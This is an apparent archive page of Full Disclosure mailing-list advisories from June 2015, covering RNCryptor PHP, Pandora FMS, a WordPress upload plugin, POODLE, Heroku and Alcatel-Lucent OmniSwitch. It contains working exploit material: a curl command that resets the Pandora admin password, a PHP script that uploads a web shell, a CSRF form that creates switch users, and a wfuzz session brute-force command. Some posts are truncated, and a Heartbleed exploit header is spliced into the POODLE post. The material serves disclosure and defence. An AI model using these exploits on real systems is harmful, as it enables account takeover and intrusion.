[FD] 2 vulns 1 line in RNCryptor (PHP) + Call to Action

2015-06-10 Thread Scott Arciszewski
Hi Full Disclosure,

>From their page (https://rncryptor.github.io):

RNCryptor is a data format specificiation for AES encryption, with AES-256,
> random-salted PBKDF2, AES-CBC, random IV, and HMAC. It has implementations
> in several languages.


Their PHP implementation has two vulnerabilities in the same line of code,
which looks like this:

return ($components->hmac == $this->_generateHmac($components, $hmacKey));

The issues here:

1. A timing side-channel.
2. Use of the == operator can treat strings as floats, depending on the
input

We have opened a Github issue about this and recommend a simple patch:
https://github.com/RNCryptor/RNCryptor-php/issues/5

*A Call to Action about Cryptography in PHP Applications:*

If anyone is serious about encrypting information in a PHP application,
please install libsodium from PECL and use that. Libsodium can already be
used in most popular programming languages, so a cross-platform concern
(what RNCryptor sought to fulfill) is already solved.

Of course, please do ask your resident cryptography experts if you're
unsure of this advice. They should, with all likelihood, agree that it's
far better than any PHP cryptography. Especially any that rely on the
abandonware mcrypt extension:
https://paragonie.com/blog/2015/05/if-you-re-typing-word-mcrypt-into-your-code-you-re-doing-it-wrong

If you can't use PECL, you have two good options (neither of which, to my
knowledge, has a cross-platform implementation in other popular languages):

   - https://github.com/defuse/php-encryption
   - https://github.com/zendframework/zend-crypt


Scott Arciszewski
Chief Development Officer
Paragon Initiative Enterprises 

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


[FD] Authentication Bypass in Pandora FMS

2015-06-10 Thread Manuel Mancera

Authentication Bypass in Pandora FMS


Information

Name: Pandora FMS - Authentication Bypass
Affected Software : Pandora FMS
Affected Versions: 5.0, 5.1
Vendor Homepage : http://pandorafms.com/
Vulnerability Type : Authentication Bypass
Severity : High


Product

Pandora FMS (for Pandora Flexible Monitoring System) is a network monitoring 
software.


Description

A vulnerability has been discovered in Pandora FMS that permits an 
unautheticated user to change the password for any Pandora user without knowing 
the actual user password. The vulnerability occurs at the login screen due to 
the session not being checked before the password is changed.


Technical Details

Proof of Concept URL:

URL: /index.php
Method: POST
Payload: renew_password=1&login=admin
Payload2:
renew_password=1&login=admin&password_new=newpass&password_confirm=newpass


Google dork

intitle:"Pandora FMS - The Flexible Monitoring System"
intitle:"Pandora FMS - el Sistema Flexible de Monitorización"


Exploit

curl -d
"renew_password=1&login=admin&password_new=newpass&password_confirm=newpass"
http://localhost/index.php


Advisory Timeline

13/05/2015 - Discovered and vendor notified
13/05/2015 - Vendor responded
28/05/2015 - Vendor patched the vulnerability 
10/06/2015 - Vulnerability published


Solution

Apply the latest patches available at the vendor website.


Credits & Authors

Manuel Mancera (sinkmanu) mmanc...@a2secure.com 
Artëm Tsvetkovatsvet...@a2secure.com 


www.a2secure.com


Disclaimer
---
All information is provided without warranty. The intent is to provide
information to secure infrastructure and/or systems, not to be able to
attack or damage. Therefore A2Secure shall not be liable for any direct
or indirect damages that might be caused by using this information.




___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] Remote file upload vulnerability in aviary-image-editor-add-on-for-gravity-forms v3.0beta Wordpress plugin

2015-06-10 Thread Larry W. Cashdollar
Title: Remote file upload vulnerability in 
aviary-image-editor-add-on-for-gravity-forms v3.0beta Wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-06-07
Download Site: 
https://wordpress.org/plugins/aviary-image-editor-add-on-for-gravity-forms
Vendor: Waters Edge Web Design and NetherWorks LLC
Vendor Notified: 2015-06-08
Advisory: http://www.vapid.dhs.org/advisory.php?v=125
Vendor Contact: plug...@wordpress.org
Description: A plugin that integrates the awesome Adobe Creative SDK (formerly 
Aviary) Photo / Image Editor with the Gravity Forms Plugin.
Vulnerability:
There is a remote file upload vulnerability in 
aviary-image-editor-add-on-for-gravity-forms/includes/upload.php as an 
unauthenticated user can upload any file to the system.  Including a .php file. 
 The upload.php doesn't check that the user is authenticated and a simple post 
will allow arbitrary code to be uploaded to the server.

In the file aviary-image-editor-add-on-for-gravity-forms/includes/upload.php 
the code doesn’t check for an authenticated Wordpress user:

1  $max_file_size ){
15  $msg = "File Size is too big.";
16  $error_flag = true;
17  }
18  $extension = strtolower(end(explode('.', $image_file['name'])));
19  $aa_options = get_option('gf_aa_options');
20  $supported_files = $aa_options['supported_file_format'];
21  $supported_files = strtolower($supported_files);
22  if(!$error_flag && $supported_files != '' ){
23$supported_files = explode (',', $supported_files);
24if(!in_array($extension, $supported_files)){
25   $msg = "No Supported file.";
26   $error_flag = true;
27}
28  }
29  if(!$error_flag){
30 $wp_upload_dir = wp_upload_dir();
31 if(!is_dir($wp_upload_dir['basedir'].'/gform_aviary')){
32  mkdir($wp_upload_dir['basedir'].'/gform_aviary');
33 }
34 $upload_dir = $wp_upload_dir['basedir'].'/gform_aviary/';
35 $upload_url = $wp_upload_dir['baseurl'].'/gform_aviary/';
36 $file_name = 
$upload_dir.$_POST['gf_aviary_field_id'].'_'.$image_file['name'];
37 if(move_uploaded_file($image_file['tmp_name'], $file_name)){
38 $file_url = 
$upload_url.$_POST['gf_aviary_field_id'].'_'.$image_file['name'];
39 }
40 }
41 $return_obj = array('status' => 'success', 'message' => $file_url);
42 echo json_encode($return_obj);
43  }
44 ?>

CVEID: 2015-4455
OSVDB:
Exploit Code:
• http://www.vapidlabs.com/wp-content/uploads/gform_aviary/_shell.php
• */
•  
•  
•$target_url = 
'http://www.vapidlabs.com/wp-content/plugins/aviary-image-editor-add-on-for-gravity-forms/includes/
• upload.php';
•$file_name_with_full_path = '/var/www/shell.php';
•  
•echo "POST to $target_url $file_name_with_full_path";
•$post = array('name' => 
'shell.php','gf_aviary_file'=>'@'.$file_name_with_full_path);
•  
•$ch = curl_init();
•curl_setopt($ch, CURLOPT_URL,$target_url);
•curl_setopt($ch, CURLOPT_POST,1);
•curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
•curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
•$result=curl_exec ($ch);
•curl_close ($ch);
•echo "";
•echo $result;
•echo "";
• ?>

___
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[FD] This POODLE Bites: Exploiting The SSL 3.0 Fallback

2015-06-10 Thread Bruno Luiz
Introduction


SSL 3.0 [RFC6101] is an obsolete and insecure protocol. While for most practical
purposes it has been replaced by its successors TLS 1.0 [RFC2246], TLS 1.1 
[RFC4346],
and TLS 1.2 [RFC5246], many TLS implementations remain backwards­compatible with
SSL 3.0 to interoperate with legacy systems in the interest of a smooth user 
experience.
The protocol handshake provides for authenticated version negotiation, so 
normally the
latest protocol version common to the client and the server will be used.


The POODLE Attack


To work with legacy servers, many TLS clients implement a downgrade dance: in a 
first
handshake attempt, offer the highest protocol version supported by the client; 
if this
handshake fails, retry (possibly repeatedly) with earlier protocol versions. 
Unlike proper
protocol version negotiation (if the client offers TLS 1.2, the server may 
respond with, say,
TLS 1.0), this downgrade can also be triggered by network glitches, or by 
active attackers.
So if an attacker that controls the network between the client and the server 
interferes with
any attempted handshake offering TLS 1.0 or later, such clients will readily 
confine
themselves to SSL 3.0.



Recommendations


The attack described above requires an SSL 3.0 connection to be established, so
disabling the SSL 3.0 protocol in the client or in the server (or both) will 
completely avoid it.
If either side supports only SSL 3.0, then all hope is gone, and a serious 
update required
to avoid insecure encryption. If SSL 3.0 is neither disabled nor the only 
possible protocol
version, then the attack is possible if the client uses a downgrade dance for
interoperability.


Impact


The POODLE attack can be used against any system or application that supports 
SSL 3.0 with CBC mode ciphers. 
This affects most current browsers and websites, but also includes any software 
that either references a vulnerable SSL/TLS 
library (e.g. OpenSSL) or implements the SSL/TLS protocol suite itself. By 
exploiting this vulnerability in a likely 
web-based scenario, an attacker can gain access to sensitive data passed within 
the encrypted web session, such as passwords, 
cookies and other authentication tokens that can then be used to gain more 
complete access to a website (impersonating that 
user, accessing database content, etc.).


Solution


There is currently no fix for the vulnerability SSL 3.0 itself, as the issue is 
fundamental to the protocol; however, disabling SSL 3.0 support in 
system/application configurations is the most viable solution currently 
available.

Some of the same researchers that discovered the vulnerability also developed a 
fix for one of the 
rerequisite conditions; TLS_FALLBACK_SCSV is a protocol extension that prevents 
MITM attackers from 
being able to force a protocol downgrade. OpenSSL has added support for 
TLS_FALLBACK_SCSV to their 
latest versions and recommend the following upgrades: 

- OpenSSL 1.0.1 users should upgrade to 1.0.1j.
- OpenSSL 1.0.0 users should upgrade to 1.0.0o.
- OpenSSL 0.9.8 users should upgrade to 0.9.8zc.

Both clients and servers need to support TLS_FALLBACK_SCSV to prevent downgrade 
attacks.

Other SSL 3.0 implementations are most likely also affected by POODLE. Contact 
your vendor for details. Additional vendor information may be available in the 
National Vulnerability Database (NVD) entry for CVE-2014-3566 or in CERT 
Vulnerability Note VU#577193.[7]

Vulnerable TLS implementations need to be updated. CVE ID assignments and 
vendor information are also available in the NVD.[8]



Exploit



/* 
* Heartbleed OpenSSL information leak exploit
* =
* This exploit uses OpenSSL to create an encrypted connection
* and trigger the heartbleed leak. The leaked information is
* returned within encrypted SSL packets and is then decrypted 
* and wrote to a file to annoy IDS/forensics. The exploit can 
* set heartbeat payload length arbitrarily or use two preset 
* values for NULL and MAX length. The vulnerability occurs due 
* to bounds checking not being performed on a heap value which 
* is user supplied and returned to the user as part of DTLS/TLS 
* heartbeat SSL extension. All versions of OpenSSL 1.0.1 to 
* 1.0.1f are known affected. You must run this against a target 
* which is linked to a vulnerable OpenSSL library using DTLS/TLS.
* This exploit leaks upto 65535 bytes of remote heap each request
* and can be run in a loop until the connected peer ends connection.
* The data leaked contains 16 bytes of random padding at the end.
* The exploit can be used against a connecting client or server,
* it can also send pre_cmd's to plain-text services to establish
* an SSL session such as with STARTTLS on SMTP/IMAP/POP3. Clients
* will often forcefully close the connection during large leak
* requests so try to lower your payload request size. 
*
* Compiled on ArchLinux x86_64 gcc 4.8.2 20140206 w/OpenSS

[FD] Heroku Bug Bounty #2 - (API) Re Auth Session Bypass Vulnerability

2015-06-10 Thread Vulnerability Lab
Document Title:
===
Heroku Bug Bounty #2 - (API) Re Auth Session Bypass Vulnerability


References (Source):

http://www.vulnerability-lab.com/get_content.php?id=1323

Video: http://www.vulnerability-lab.com/get_content.php?id=1336

Vulnerability Magazine: 
http://magazine.vulnerability-db.com/?q=articles/2015/06/09/heroku-bug-bounty-2015-api-re-auth-session-token-bypass-vulnerability


Release Date:
=
2015-06-09


Vulnerability Laboratory ID (VL-ID):

1323


Common Vulnerability Scoring System:

6.1


Product & Service Introduction:
===
Heroku provides you with all the tools you need to iterate quickly, and adopt 
the right technologies for your project. 
Build modern, maintainable apps and instantly extend them with functionality 
from hundreds of cloud services providers 
without worrying about infrastructure. Build. Deploy. Scale. Heroku brings them 
together in an experience built and 
designed for developers. Scale your application by moving a slider and upgrade 
your database in a few simple steps. 
Whether your growth happens over the year or overnight, you can grow on demand 
to capture opportunity.

Heroku (pronounced her-OH-koo) is a cloud application platform – a new way of 
building and deploying web apps. Our service 
lets app developers spend their time on their application code, not managing 
servers, deployment, ongoing operations, or scaling.
Heroku was founded in 2007 by Orion Henry, James Lindenbaum, and Adam Wiggins. 

(Copy of the Vendor Homepage: https://www.heroku.com/home )


Abstract Advisory Information:
==
The Vulnerability Laboratory Research team discovered a application-side 
session validation vulnerability in the official Heroku API and web-application.


Vulnerability Disclosure Timeline:
==
2014-09-19: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2014-09-20: Vendor Notification (Heroku Security Team - Bug Bounty Program)
2015-03-11: Vendor Response/Feedback (Heroku Security Team - Bug Bounty 
Program)
2015-06-08: Vendor Fix/Patch Notification (Heroku Developer Team)
2015-06-09: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=
Published


Affected Product(s):

Heroku
Product: Heroku Dashboard - Web Application (API) 2014 Q3


Exploitation Technique:
===
Remote


Severity Level:
===
High


Technical Details & Description:

An application-side re-auth session bypass vulnerability has been discovered in 
the official heroku API & web-application service.
The vulnerability allows an attacker to request unauthorized information 
without the second forced re authentication module.

The heroku web-service provides to all web services an expire session function 
that disallows to visit the page without re authentication.
The dataclips page session of the editor and the postgres service allows to add 
for example new context. If the session expires in the main 
heroku web-service the user will be forced to login again. 

During the tests we releaved that the session of the dataclip service and 
editor is available even if the re-authentication service is still running.
If the local attacker changes the path manually to request directly the stored 
context in the profile (like shown in video) he is able to bypass the 
security mechanism to add or request the database name.

The session validation mechnism needs to provoke a refresh of the progres 
datasheet page or the dataclips add through editor to prevent unauthorized 
access after a session has been expired during the usage of the heroku service.

The security risk of the re-auth session bypass vulnerability is estimated as 
medium with a cvss (common vulnerability scoring system) count of 6.1.
Exploitation of the vulnerability requires a local low privilege heroku 
application user account without user interaction. Successful exploitation 
of the vulnerability results in the evade and bypass of the re-authentication 
mechanism.


Proof of Concept (PoC):
===
The local re auth bypass vulnerability can be exploited by local attackers with 
low privilege web-application user account or 
by remote attackers without privlege web-application account and high user 
interaction. For security demonstration or to reproduce 
the security vulnerability follow the provided information and steps below to 
continue.

Manual steps to reproduce the re-auth bypass vulnerability ...

1. Register a webpage account at the official heroku website
2. Provoke the re-auth function that pops up after several profile interaction 
during the time after the session expired
3. When the session is expired to do not press the re-auth function button that 
popup stable to all service
4. Swi

[FD] [RT-SA-2015-004] Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery

2015-06-10 Thread RedTeam Pentesting GmbH
Advisory: Alcatel-Lucent OmniSwitch Web Interface Cross-Site Request Forgery

During a penetration test, RedTeam Pentesting discovered a vulnerability
in the management web interface of an Alcatel-Lucent OmniSwitch 6450.
The management web interface has no protection against cross-site
request forgery attacks. This allows specially crafted web pages to
change the switch configuration and create users, if an administrator
accesses the website while being authenticated in the management web
interface.

Details
===

Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400,
  6855, 6900, 10K, 6860
Affected Versions: All Releases:
  AOS 6.4.5.R02
  AOS 6.4.6.R01
  AOS 6.6.4.R01
  AOS 6.6.5.R02
  AOS 7.3.2.R01
  AOS 7.3.3.R01
  AOS 7.3.4.R01
  AOS 8.1.1.R01
Fixed Versions: -
Vulnerability Type: Cross-site request forgery
Security Risk: medium
Vendor URL: 
http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview
Vendor Status: notified
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-004
Advisory Status: published
CVE: CVE-2015-2805
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2805


Introduction


"The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable
LAN Switches are the latest value stackable switches in the OmniSwitch
family of products. The OmniSwitch 6450 was specifically built for
versatility offering optional upgrade paths for 10 Gigabit stacking, 10
Gigabit Ethernet uplinks, from Fast to Gigabit user ports (L models) and
Metro Ethernet services."

(from the vendor's homepage)

More Details


The management web interface of the OmniSwitch 6450 can be accessed
using a web browser via HTTP. The web interface allows creating new user
accounts, in this case an HTTP request like the following is sent to the
switch:

  POST /sec/content/sec_asa_users_local_db_add.html HTTP/1.1
  Host: 192.0.2.1
  [...]
  Cookie: session=sess_15739
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 214

  EmWeb_ns:mip:2.T1:I1=attacker
  &EmWeb_ns:mip:244.T1:O1=secret
  &EmWeb_ns:mip:246.T1:O2=-1
  &EmWeb_ns:mip:248.T1:O3=
  &EmWeb_ns:mip:249.T1:O4=1
  &EmWeb_ns:mip:250.T1:O5=4

This request creates a user "attacker" with the password "secret". All
other parameters are static. All POST parameters can be predicted by
attackers

This means that requests of this form can be prepared by attackers and sent
from any web page the user visits in the same browser. If the user is
authenticated to the switch, a valid session cookie is included in the request
automatically, and the action is performed.

In order to activate the new user for the web interface it is necessary
to enable the respective access privileges in the user's profile. This can also
be done via the web interface. Then the HTTP POST request looks like the
following:

  POST /sec/content/os6250_sec_asa_users_local_db_family_mod.html HTTP/1.1
  Host: 192.0.2.1
  [...]
  Cookie: session=sess_15739
  Content-Type: application/x-www-form-urlencoded
  Content-Length: 167

  EmWeb_ns:mip:2.T1:I1=attacker
  &EmWeb_ns:mip:4.T1:O1=
  &EmWeb_ns:mip:5.T1:O2=
  &EmWeb_ns:mip:6.T1:O3=4294967295
  &EmWeb_ns:mip:7.T1:O4=4294967295

This request sets all access privileges for the user "attacker" and
is again completely predictable.


Proof of Concept


Visiting the following HTML page will create a new user via the switch's
management web interface, if the user is authenticated at the switch:




Alcatel-Lucent OmniSwitch 6450 create user via CSRF


  http://192.0.2.1/sec/content/sec_asa_users_local_db_add.html";
  method="POST" id="CSRF" style="visibility:hidden">






  

document.getElementById("CSRF").submit();






Workaround
==

Disable the web interface by executing the following commands:

AOS6:

  no ip service http
  no ip service secure-http

AOS 7/8:

  ip service http admin-state disable

If this is not possible, use a dedicated browser or browser profile for
managing the switch via the web interface.


Fix
===

Upgrade the firmware to a fixed version, according to the vendor the
fixed versions will be available at the end of July 2015.


Security Risk
=

If attackers trick a logged-in administrator to visit an attacker-controlled 
web page, the attacker can perform actions and reconfigure the switch. In this
situation an attacker can create an additional user account on the switch for
future access. While a successful attack results in full access to the switch,
the attack is hard to exploit because attackers need to know the IP address of
the switch and get an administrative user to access an attacker-controlled web
page. The vulnerability is therefore rated as a medium risk.


Timeline


2015-03-16 Vulnerability identified
2015-03-25 Cu

[FD] [RT-SA-2015-003] Alcatel-Lucent OmniSwitch Web Interface Weak Session ID

2015-06-10 Thread RedTeam Pentesting GmbH
Advisory: Alcatel-Lucent OmniSwitch Web Interface Weak Session ID

During a penetration test, RedTeam Pentesting discovered a vulnerability
in the management web interface of an Alcatel-Lucent OmniSwitch 6450.
This interface uses easily guessable session IDs, which allows attackers
to authenticate as a currently logged-in user and perform administrative
tasks.


Details
===

Product: Alcatel-Lucent OmniSwitch 6450, 6250, 6850E, 9000E, 6400, 6855
Affected Versions:
  AOS 6.4.5.R02
  AOS 6.4.6.R01
  AOS 6.6.4.R01
  AOS 6.6.5.R02
Fixed Versions:
  AOS 6.6.5.80.R02
  AOS 6.6.4.309.R01
Vulnerability Type: Session Management - low identifier entropy
Security Risk: high
Vendor URL: 
http://enterprise.alcatel-lucent.com/?product=OmniSwitch6450&page=overview
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2015-003
Advisory Status: published
CVE: CVE-2015-2804
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-2804


Introduction


"The Alcatel-Lucent OmniSwitch 6450 Gigabit and Fast Ethernet Stackable LAN
Switches are the latest value stackable switches in the OmniSwitch family of
products. The OmniSwitch 6450 was specifically built for versatility offering
optional upgrade paths for 10 Gigabit stacking, 10 Gigabit Ethernet uplinks,
from Fast to Gigabit user ports (L models) and Metro Ethernet services."

(from the vendor's homepage)


More Details


The management web interface of the OmniSwitch 6450 can be accessed using a web
browser via HTTP. A switch with the example IP 192.0.2.1 is accessible via
the following URL:

http://192.0.2.1/

A client is then redirected to the following URL:

http://192.0.2.1/web/content/index.html

For unauthenticated users the URL displays a login form and sets a session
cookie with a session ID. A request to the URL with the command line HTTP
client cURL shows the Set-Cookie header:

  $ curl -I http://192.0.2.1/web/content/index.html
  HTTP/1.1 200 OK
  Date: Tue, 17 Mar 2015 08:25:42 GMT
  Server: Agranat-EmWeb/R5_2_4
  [...]
  Set-Cookie: session=sess_11012;PATH=/

The session cookie has the name "session" and its value begins with the
string "sess_". By repeatedly requesting the URL with cURL it became obvious
that the suffix is always a number between 1 and 32,000. This suggests that
there are only about 32,000 possible session IDs, resulting in only 15 bits
of entropy. Our tests showed that it was possible to get a throughput of about
50 HTTP requests per second, this means that in order to try every possible
session ID an attacker will need at most 11 minutes. On average, the time it
takes to find a valid session ID for an active user is even lower.


Proof of Concept


For an attacker it is very easy to distinguish between a valid and an invalid
session ID by looking at the HTTP response size. During our tests, requesting
an invalid session ID always returned the login form, which was 3027 bytes
in length. With a valid session ID, the management web interface is
returned by the webserver and the response is larger.

A number of requests in the range of the possible session cookies can be easily
executed using wfuzz [0]:


./wfuzz.py -z range,1-32000 --hl 3027 -H "Cookie: session=sess_FUZZ" 
http://192.0.2.1/web/content/index.html



Workaround
==

Administrators should avoid using the management web interface and use the
serial console or administrate the switch over SSH instead. The web interface
can be disabled by executing the following commands:

  no ip service http
  no ip service secure-http

If the web interface is needed, it must be ensured that only authorised persons
are able to even connect to the web server. In addition, the HTTP session
timeout can be lowered to one minute with the following command:

  session timeout http 1


Fix
===

Upgrade the firmware to a fixed version.


Security Risk
=

The vulnerability poses a high risk. An attacker can easily authenticate to a
switch with the privileges of another user who is currently logged in. The
attack is simple and fast. The only precondition is that a user is already
using the switch during the attack. Attackers might actively trick
administrators into logging in by social engineering.


Timeline


2015-03-16 Vulnerability identified
2015-03-25 Customer approves disclosure to vendor
2015-03-26 CVE number requested
2015-03-31 CVE number assigned
2015-04-01 Vendor notified
2015-04-02 Vendor acknowledged receipt of advisories
2015-04-08 Requested status update from vendor, vendor is investigating
2015-04-29 Requested status update from vendor, vendor is still investigating
2015-05-22 Requested status update from vendor
2015-05-27 Vendor is working on the issue
2015-06-05 Vendor notified customers
2015-06-08 Vendor provided details